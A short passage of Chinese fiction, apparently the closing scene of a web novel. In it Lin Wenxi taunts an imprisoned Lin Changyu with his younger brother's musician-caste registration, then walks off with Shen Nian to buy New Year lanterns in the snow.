藏在墙后的林闻溪悄然站了出来,他盯着林长羽的脸笑着挽上沈年的手腕。 他从袖中取出一张纸,从缝中丢了进去,“这是六弟的乐籍,明日六弟便该去乐馆住着了,母亲在狱中撞墙留下血书,要三娘留六弟一命,如此看来倒是白费了。” 林长羽盯着那张纸,再没了声音。 二人从狱中出来,林闻溪皱着眉拍了拍沈年的衣裳,“早说三娘不必前来,身上都沾了一股霉味。” “林御史毕竟留了这纸血书” “不提他们。”林闻溪贴在沈年肩上,晃着她的胳膊,“快到年关了,三娘说好了陪我去街上买灯笼的,今日可不能再骗我。” “好,我陪你去就是。” “我要买好多好多盏灯笼,还有窗纸,还有福结三娘和我一起挂着院中的树枝上” 林闻溪在踩着雪走在前面欢喜的一蹦一跳。 “三娘走快点。” 他回身向沈年招着手。 —正文完—